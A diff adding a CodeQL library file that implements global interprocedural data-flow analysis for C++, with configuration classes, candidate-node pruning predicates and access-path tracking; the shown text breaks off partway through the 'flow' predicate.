b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl4.qll @@ -0,0 +1,1614 @@ +/** + * Provides an implementation of global (interprocedural) data flow. This file + * re-exports the local (intraprocedural) data flow analysis from `DataFlowUtil` + * and adds a global analysis, mainly exposed through the `Configuration` class. + * This file exists in several identical copies, allowing queries to use + * multiple `Configuration` classes that depend on each other without + * introducing mutual recursion among those configurations. + */ + +import DataFlowUtil +private import DataFlowPrivate +private import DataFlowDispatch +private import DataFlowImplCommon + +/** + * A configuration of interprocedural data flow analysis. This defines + * sources, sinks, and any other configurable aspect of the analysis. Each + * use of the global data flow library must define its own unique extension + * of this abstract class. To create a configuration, extend this class with + * a subclass whose characteristic predicate is a unique singleton string. + * For example, write + * + * ``` + * class MyAnalysisConfiguration extends DataFlow::Configuration { + * MyAnalysisConfiguration() { this = "MyAnalysisConfiguration" } + * // Override `isSource` and `isSink`. + * // Optionally override `isBarrier`. + * // Optionally override `isAdditionalFlowStep`. + * } + * ``` + * + * Then, to query whether there is flow between some `source` and `sink`, + * write + * + * ``` + * exists(MyAnalysisConfiguration cfg | cfg.hasFlow(source, sink)) + * ``` + * + * Multiple configurations can coexist, but two classes extending + * `DataFlow::Configuration` should never depend on each other. One of them + * should instead depend on a `DataFlow2::Configuration`, a + * `DataFlow3::Configuration`, or a `DataFlow4::Configuration`. + */ +abstract class Configuration extends string { + bindingset[this] + Configuration() { any() } + + /** + * Holds if `source` is a relevant data flow source. + */ + abstract predicate isSource(Node source); + + /** + * Holds if `sink` is a relevant data flow sink. + */ + abstract predicate isSink(Node sink); + + /** Holds if data flow through `node` is prohibited. */ + predicate isBarrier(Node node) { none() } + + /** Holds if data flow from `node1` to `node2` is prohibited. */ + predicate isBarrierEdge(Node node1, Node node2) { none() } + + /** + * Holds if the additional flow step from `node1` to `node2` must be taken + * into account in the analysis. + */ + predicate isAdditionalFlowStep(Node node1, Node node2) { none() } + + /** + * Gets the virtual dispatch branching limit when calculating field flow. + * This can be overridden to a smaller value to improve performance (a + * value of 0 disables field flow), or a larger value to get more results. + */ + int fieldFlowBranchLimit() { result = 2 } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + */ + predicate hasFlow(Node source, Node sink) { flowsTo(source, sink, this) } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + * + * The corresponding paths are generated from the end-points and the graph + * included in the module `PathGraph`. + */ + predicate hasFlowPath(PathNode source, PathNode sink) { flowsTo(source, sink, _, _, this) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowTo(Node sink) { hasFlow(_, sink) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowToExpr(Expr sink) { hasFlowTo(exprNode(sink)) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowForward(Node source, Node sink) { hasFlow(source, sink) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowBackward(Node source, Node sink) { hasFlow(source, sink) } +} + +/** + * Holds if the additional step from `node1` to `node2` jumps between callables. + */ +private predicate additionalJumpStep(Node node1, Node node2, Configuration config) { + config.isAdditionalFlowStep(node1, node2) and + node1.getEnclosingCallable() != node2.getEnclosingCallable() +} + +pragma[noinline] +private predicate isAdditionalFlowStep( + Node node1, Node node2, Callable callable1, Callable callable2, Configuration config +) { + config.isAdditionalFlowStep(node1, node2) and + callable1 = node1.getEnclosingCallable() and + callable2 = node2.getEnclosingCallable() +} + +/** + * Holds if the additional step from `node1` to `node2` does not jump between callables. + */ +private predicate additionalLocalFlowStep(Node node1, Node node2, Configuration config) { + exists(Callable callable | isAdditionalFlowStep(node1, node2, callable, callable, config)) +} + +/** + * Holds if data can flow from `node1` to `node2` through a static field or + * variable capture. + */ +private predicate jumpStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + jumpStep(node1, node2) and preservesValue = true + or + additionalJumpStep(node1, node2, config) and preservesValue = false +} + +/** + * Holds if data can flow in one local step from `node1` to `node2` taking + * additional steps from the configuration into account. + */ +private predicate localFlowStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + localFlowStep(node1, node2) and not config.isBarrierEdge(node1, node2) and preservesValue = true + or + additionalLocalFlowStep(node1, node2, config) and preservesValue = false +} + +pragma[noinline] +private Method returnNodeGetEnclosingCallable(ReturnNode ret) { + result = ret.getEnclosingCallable() +} + +/** + * Holds if field flow should be used for the given configuration. + */ +private predicate useFieldFlow(Configuration config) { config.fieldFlowBranchLimit() >= 1 } + +/** + * Holds if `node` is reachable from a source in the given configuration + * ignoring call contexts. + */ +private predicate nodeCandFwd1(Node node, boolean stored, Configuration config) { + not config.isBarrier(node) and + ( + config.isSource(node) and stored = false + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + localFlowStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + jumpStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid | + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, _, node) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd1(mid, true, config) and + read(mid, f, node) and + storeCandFwd1(f, unbind(config)) and + (stored = false or stored = true) + ) + or + // flow into a callable + exists(Node arg | + nodeCandFwd1(arg, stored, config) and + viableParamArg(node, arg) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + nodeCandFwd1(mid, stored, config) and + parameterValueFlowsToUpdate(p, mid) and + viableParamArg(p, node.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a callable + exists(Method m, MethodAccess ma, ReturnNode ret | + nodeCandFwd1(ret, stored, config) and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node.asExpr() = ma + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd1`. + */ +private predicate storeCandFwd1(Content f, Configuration config) { + exists(Node mid, Node node | + not config.isBarrier(node) and + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, f, node) + ) +} + +bindingset[result, b] +private boolean unbindBool(boolean b) { result != b.booleanNot() } + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration ignoring call contexts. + */ +pragma[nomagic] +private predicate nodeCand1(Node node, boolean stored, Configuration config) { + nodeCandFwd1(node, false, config) and + config.isSink(node) and + stored = false + or + nodeCandFwd1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand1(f, unbind(config)) and + nodeCand1(mid, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) and + stored = true + ) + or + // flow into a callable + exists(Node param | + viableParamArg(param, node) and + nodeCand1(param, stored, config) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + parameterValueFlowsToUpdate(p, node) and + viableParamArg(p, mid.getPreUpdateNode()) and + nodeCand1(mid, stored, config) + ) + or + // flow out of a callable + exists(Method m, ExprNode ma | + nodeCand1(ma, stored, config) and + m = returnNodeGetEnclosingCallable(node) and + m = viableImpl(ma.getExpr()) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand1`. + */ +private predicate readCand1(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd1(node, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) + ) +} + +/** + * Holds if there is a path from `p` to `node` in the same callable that is + * part of a path from a source to a sink taking simple call contexts into + * consideration. This is restricted to paths that does not necessarily + * preserve the value of `p` by making use of at least one additional step + * from the configuration. + */ +pragma[nomagic] +private predicate simpleParameterFlow(ParameterNode p, Node node, RefType t, Configuration config) { + nodeCand1(node, false, config) and + p = node and + t = getErasedRepr(node.getType()) and + not parameterValueFlowsThrough(p) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localFlowStep(mid, node, true, config) and + compatibleTypes(t, node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, _, config) and + localFlowStep(mid, node, false, config) and + t = getErasedRepr(node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localStoreReadStep(mid, node) and + compatibleTypes(t, node.getType()) + ) + or + // value flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, t, config) and + argumentValueFlowsThrough(arg, node) and + compatibleTypes(t, node.getType()) + ) + or + // flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, _, config) and + simpleArgumentFlowsThrough(arg, node, t, config) + ) +} + +/** + * Holds if data can flow from `arg` through the `call` taking simple call + * contexts into consideration and that this is part of a path from a source + * to a sink. This is restricted to paths through the `call` that does not + * necessarily preserve the value of `arg` by making use of at least one + * additional step from the configuration. + */ +private predicate simpleArgumentFlowsThrough( + ArgumentNode arg, ExprNode call, RefType t, Configuration config +) { + exists(ParameterNode param, ReturnNode ret | + nodeCand1(arg, false, unbind(config)) and + nodeCand1(call, false, unbind(config)) and + viableParamArg(param, arg) and + simpleParameterFlow(param, ret, t, config) and + arg.argumentOf(call.getExpr(), _) + ) +} + +/** + * Holds if data can flow from `node1` to `node2` by a step through a method. + */ +private predicate flowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + simpleArgumentFlowsThrough(node1, node2, _, config) and preservesValue = false + or + argumentValueFlowsThrough(node1, node2) and preservesValue = true +} + +/** + * Holds if data can flow from `node1` to `node2` in one local step or a step + * through a method. + */ +private predicate localFlowStepOrFlowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStep(node1, node2, preservesValue, config) or + flowThroughMethod(node1, node2, preservesValue, config) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. + */ +private predicate flowOutOfCallable(Node node1, Node node2, Configuration config) { + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) and + ( + // flow out of an argument + exists(ParameterNode p | + parameterValueFlowsToUpdate(p, node1) and + viableParamArg(p, node2.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a method + exists(Method m, MethodAccess ma, ReturnNode ret | + ret = node1 and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node2.asExpr() = ma + ) + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. + */ +private predicate flowIntoCallable(Node node1, Node node2, Configuration config) { + viableParamArg(node2, node1) and + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) +} + +/** + * Gets the amount of forward branching on the origin of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int branch(Node n1, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n1, n, conf) or flowIntoCallable(n1, n, conf)) +} + +/** + * Gets the amount of backward branching on the target of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int join(Node n2, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n, n2, conf) or flowIntoCallable(n, n2, conf)) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. The + * `allowsFieldFlow` flag indicates whether the branching is within the limit + * specified by the configuration. + */ +private predicate flowOutOfCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowOutOfCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. The `allowsFieldFlow` flag indicates whether + * the branching is within the limit specified by the configuration. + */ +private predicate flowIntoCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowIntoCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCandFwd2(Node node, boolean fromArg, boolean stored, Configuration config) { + nodeCand1(node, false, config) and + config.isSource(node) and + fromArg = false and + stored = false + or + nodeCand1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, fromArg, stored, config) and + localFlowStepOrFlowThroughMethod(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd2(mid, _, stored, config) and + jumpStep(mid, node, preservesValue, config) and + fromArg = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd2(mid, fromArg, true, config) and + read(mid, f, node) and + storeCandFwd2(f, unbind(config)) and + (stored = false or stored = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, _, stored, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + nodeCandFwd2(mid, false, stored, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd2`. + */ +private predicate storeCandFwd2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCand1(node, true, unbind(config)) and + nodeCandFwd2(mid, _, _, config) and + store(mid, f, node) and + readCand1(f, unbind(config)) + ) +} + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration taking simple call contexts into consideration. + */ +private predicate nodeCand2(Node node, boolean toReturn, boolean stored, Configuration config) { + nodeCandFwd2(node, _, false, config) and + config.isSink(node) and + toReturn = false and + stored = false + or + nodeCandFwd2(node, _, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStepOrFlowThroughMethod(node, mid, preservesValue, config) and + nodeCand2(mid, toReturn, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand2(mid, _, stored, config) and + toReturn = false and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand2(f, unbind(config)) and + nodeCand2(mid, toReturn, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, toReturn, _, config) and + stored = true + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, false, stored, config) and + toReturn = false and + (stored = false or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + nodeCand2(mid, _, stored, config) and + toReturn = true and + (stored = false or allowsFieldFlow = true) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand2`. + */ +private predicate readCand2(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd2(node, _, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd2(f, unbind(config)) and + nodeCand2(mid, _, _, config) + ) +} + +private predicate storeCand(Content f, Configuration conf) { + exists(Node n1, Node n2 | + store(n1, f, n2) and + nodeCand2(n1, _, _, conf) and + nodeCand2(n2, _, _, unbind(conf)) + ) +} + +private predicate readCand(Content f, Configuration conf) { readCand2(f, conf) } + +/** + * Holds if `f` is the target of both a store and a read in the path graph + * covered by `nodeCand2`. + */ +pragma[noinline] +private predicate readStoreCand(Content f, Configuration conf) { + storeCand(f, conf) and + readCand(f, conf) +} + +private predicate nodeCand(Node node, Configuration config) { nodeCand2(node, _, _, config) } + +/** + * Holds if `node` can be the first node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowEntry(Node node, Configuration config) { + nodeCand(node, config) and + ( + config.isSource(node) or + jumpStep(_, node, _, config) or + node instanceof ParameterNode or + node.asExpr() instanceof MethodAccess or + node instanceof PostUpdateNode or + read(_, _, node) or + node.asExpr() instanceof CastExpr + ) +} + +/** + * Holds if `node` can be the last node in a maximal subsequence of local + * flow steps in a dataflow path. + */ +private predicate localFlowExit(Node node, Configuration config) { + exists(Node next | nodeCand(next, config) | + jumpStep(node, next, _, config) or + flowIntoCallable(node, next, config) or + flowOutOfCallable(node, next, config) or + flowThroughMethod(node, next, _, config) or + store(node, _, next) or + read(node, _, next) + ) + or + node.asExpr() instanceof CastExpr + or + config.isSink(node) +} + +/** + * Holds if the local path from `node1` to `node2` is a prefix of a maximal + * subsequence of local flow steps in a dataflow path. + * + * This is the transitive closure of `localFlowStep` beginning at `localFlowEntry`. + */ +private predicate localFlowStepPlus( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowEntry(node1, config) and + localFlowStep(node1, node2, preservesValue, config) and + node1 != node2 and + nodeCand(node2, unbind(config)) + or + exists(Node mid, boolean pv1, boolean pv2 | + localFlowStepPlus(node1, mid, pv1, config) and + localFlowStep(mid, node2, pv2, config) and + not mid.asExpr() instanceof CastExpr and + preservesValue = pv1.booleanAnd(pv2) and + nodeCand(node2, unbind(config)) + ) +} + +/** + * Holds if `node1` can step to `node2` in one or more local steps and this + * path can occur as a maximal subsequence of local steps in a dataflow path. + */ +pragma[noinline] +private predicate localFlowBigStep( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStepPlus(node1, node2, preservesValue, config) and + localFlowExit(node2, config) +} + +private newtype TAccessPathFront = + TFrontNil(Type t) or + TFrontHead(Content f) + +/** + * The front of an `AccessPath`. This is either a head or a nil. + */ +private class AccessPathFront extends TAccessPathFront { + string toString() { + exists(Type t | this = TFrontNil(t) | result = ppReprType(t)) + or + exists(Content f | this = TFrontHead(f) | result = f.toString()) + } + + Type getType() { + this = TFrontNil(result) + or + exists(Content head | this = TFrontHead(head) | result = head.getContainerType()) + } + + predicate headUsesContent(Content f) { this = TFrontHead(f) } +} + +private class AccessPathFrontNil extends AccessPathFront, TFrontNil { } + +/** + * A `Node` at which a cast can occur such that the type should be checked. + */ +private class CastingNode extends Node { + CastingNode() { + this instanceof ParameterNode or + this.asExpr() instanceof CastExpr or + this.asExpr() instanceof MethodAccess or + this.(PostUpdateNode).getPreUpdateNode() instanceof ArgumentNode + } +} + +/** + * Holds if data can flow from a source to `node` with the given `apf`. + */ +private predicate flowCandFwd(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + flowCandFwd0(node, fromArg, apf, config) and + if node instanceof CastingNode then compatibleTypes(node.getType(), apf.getType()) else any() +} + +private predicate flowCandFwd0(Node node, boolean fromArg, AccessPathFront apf, Configuration config) { + nodeCand2(node, _, false, config) and + config.isSource(node) and + fromArg = false and + apf = TFrontNil(getErasedRepr(node.getType())) + or + nodeCand(node, unbind(config)) and + ( + exists(Node mid | + flowCandFwd(mid, fromArg, apf, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + localFlowBigStep(mid, node, false, config) and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid | + flowCandFwd(mid, _, apf, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(mid, _, apf0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, _, apf, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowCandFwd(mid, false, apf, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf = TFrontNil(getErasedRepr(node.getType())) + ) + ) + ) + or + exists(Node mid, Content f | + flowCandFwd(mid, fromArg, _, config) and + store(mid, f, node) and + nodeCand(node, unbind(config)) and + apf.headUsesContent(f) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + flowCandFwd(mid, fromArg, apf0, config) and + read(mid, f, node) and + nodeCand(node, config) and + apf0.headUsesContent(f) and + consCandFwd(f, apf, unbind(config)) + ) +} + +private predicate consCandFwd(Content f, AccessPathFront apf, Configuration config) { + exists(Node mid, Node n | + flowCandFwd(mid, _, apf, config) and + store(mid, f, n) and + nodeCand(n, unbind(config)) and + readStoreCand(f, unbind(config)) and + compatibleTypes(apf.getType(), f.getType()) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `apf` and + * from there flow to a sink. + */ +private predicate flowCand(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCand0(node, toReturn, apf, config) and + flowCandFwd(node, _, apf, config) +} + +private predicate flowCand0(Node node, boolean toReturn, AccessPathFront apf, Configuration config) { + flowCandFwd(node, _, apf, config) and + config.isSink(node) and + toReturn = false and + apf instanceof AccessPathFrontNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flowCand(mid, toReturn, apf, config) + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + localFlowBigStep(node, mid, false, config) and + flowCand(mid, toReturn, apf0, config) and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flowCand(mid, _, apf, config) and + toReturn = false + ) + or + exists(Node mid, AccessPathFront apf0 | + flowCandFwd(node, _, apf, config) and + jumpStep(node, mid, false, config) and + flowCand(mid, _, apf0, config) and + toReturn = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, false, apf, config) and + toReturn = false and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flowCand(mid, _, apf, config) and + toReturn = true and + (apf instanceof AccessPathFrontNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0 | + flowThroughMethod(node, mid, preservesValue, config) and + flowCand(mid, toReturn, apf0, config) and + ( + preservesValue = true and apf = apf0 + or + preservesValue = false and + apf0 instanceof AccessPathFrontNil and + apf instanceof AccessPathFrontNil and + flowCandFwd(node, _, apf, config) + ) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + store(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + apf0.headUsesContent(f) and + consCand(f, apf, unbind(config)) + ) + or + exists(Node mid, Content f, AccessPathFront apf0 | + read(node, f, mid) and + flowCand(mid, toReturn, apf0, config) and + consCandFwd(f, apf0, unbind(config)) and + apf.headUsesContent(f) + ) + ) +} + +private predicate consCand(Content f, AccessPathFront apf, Configuration config) { + consCandFwd(f, apf, config) and + exists(Node mid, Node n, AccessPathFront apf0 | + flowCandFwd(n, _, apf0, config) and + apf0.headUsesContent(f) and + read(n, f, mid) and + flowCand(mid, _, apf, config) + ) +} + +private newtype TAccessPath = + TNil(Type t) or + TCons(Content f, int len) { len in [1 .. 5] } + +/** + * Conceptually a list of `Content`s followed by a `Type`, but only the first + * element of the list and its length are tracked. If data flows from a source to + * a given node with a given `AccessPath`, this indicates the sequence of + * dereference operations needed to get from the value in the node to the + * tracked object. The final type indicates the type of the tracked object. + */ +private class AccessPath extends TAccessPath { + abstract string toString(); + + Content getHead() { this = TCons(result, _) } + + int len() { + this = TNil(_) and result = 0 + or + this = TCons(_, result) + } + + Type getType() { + this = TNil(result) + or + exists(Content head | this = TCons(head, _) | result = head.getContainerType()) + } + + abstract AccessPathFront getFront(); +} + +private class AccessPathNil extends AccessPath, TNil { + override string toString() { exists(Type t | this = TNil(t) | result = ppReprType(t)) } + + override AccessPathFront getFront() { exists(Type t | this = TNil(t) | result = TFrontNil(t)) } +} + +private class AccessPathCons extends AccessPath, TCons { + override string toString() { + exists(Content f, int len | this = TCons(f, len) | + result = f.toString() + ", ... (" + len.toString() + ")" + ) + } + + override AccessPathFront getFront() { + exists(Content f | this = TCons(f, _) | result = TFrontHead(f)) + } +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap`. */ +private predicate pop(AccessPath ap0, Content f, AccessPath ap) { + ap0.getFront().headUsesContent(f) and + consCand(f, ap.getFront(), _) and + ap0.len() = 1 + ap.len() +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap` and `apf` is the front of `ap`. */ +pragma[noinline] +private predicate popWithFront(AccessPath ap0, Content f, AccessPathFront apf, AccessPath ap) { + pop(ap0, f, ap) and apf = ap.getFront() +} + +/** Holds if `ap` corresponds to the cons of `f` and `ap0`. */ +private predicate push(AccessPath ap0, Content f, AccessPath ap) { pop(ap, f, ap0) } + +/** + * Holds if data can flow from a source to `node` with the given `ap`. + */ +private predicate flowFwd( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowFwd0(node, fromArg, apf, ap, config) and + flowCand(node, _, apf, config) +} + +private predicate flowFwd0( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowCand(node, _, _, config) and + config.isSource(node) and + fromArg = false and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + or + flowCand(node, _, _, unbind(config)) and + ( + exists(Node mid | + flowFwd(mid, fromArg, apf, ap, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, fromArg, _, ap0, config) and + localFlowBigStep(mid, node, false, config) and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid | + flowFwd(mid, _, apf, ap, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, _, _, ap0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, _, apf, ap, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, false, apf, ap, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0, AccessPath ap0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and ap = ap0 and apf = apf0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdStore(node, f, ap0, apf, fromArg, config) and + push(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdRead(node, f, ap0, fromArg, config) and + popWithFront(ap0, f, apf, ap) + ) +} + +pragma[nomagic] +private predicate flowFwdStore( + Node node, Content f, AccessPath ap0, AccessPathFront apf, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowFwdStoreAux(mid, f, node, apf0, apf, config) + ) +} + +private predicate flowFwdStoreAux( + Node mid, Content f, Node node, AccessPathFront apf0, AccessPathFront apf, Configuration config +) { + store(mid, f, node) and + consCand(f, apf0, config) and + apf.headUsesContent(f) and + flowCand(node, _, apf, unbind(config)) +} + +pragma[nomagic] +private predicate flowFwdRead( + Node node, Content f, AccessPath ap0, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + read(mid, f, node) and + apf0.headUsesContent(f) and + flowCand(node, _, _, unbind(config)) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `ap` and + * from there flow to a sink. + */ +private predicate flow(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flow0(node, toReturn, ap, config) and + 